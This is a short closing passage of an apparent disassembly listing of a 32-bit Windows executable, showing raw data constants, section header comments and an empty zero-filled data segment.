dd 3E8F7312h, 7BB982h, 0CFA6D53Ch, 781F49FFh, 6F007ADFh
dd 0E98CE0C6h, 47C90080h, 41A893BAh, 6B0085BCh, 8D392755h
dd 3EE070F7h, 0DD00427Ch, 9DF9DE8Eh, 7E00EBFBh, 0A14351AAh
dd 0E376E6h, 2F29F2CCh, 44268184h, 17102803h, 280h dup(0)
seg002 ends
; Section 3. (virtual address 00088000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00000200 ( 512.)
; Offset to raw data for section: 00088000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata2 segment para public 'DATA' use32
assume cs:_idata2
;org 488000h
dd 80h dup(0)
align 1000h
_idata2 ends
end __ImageBase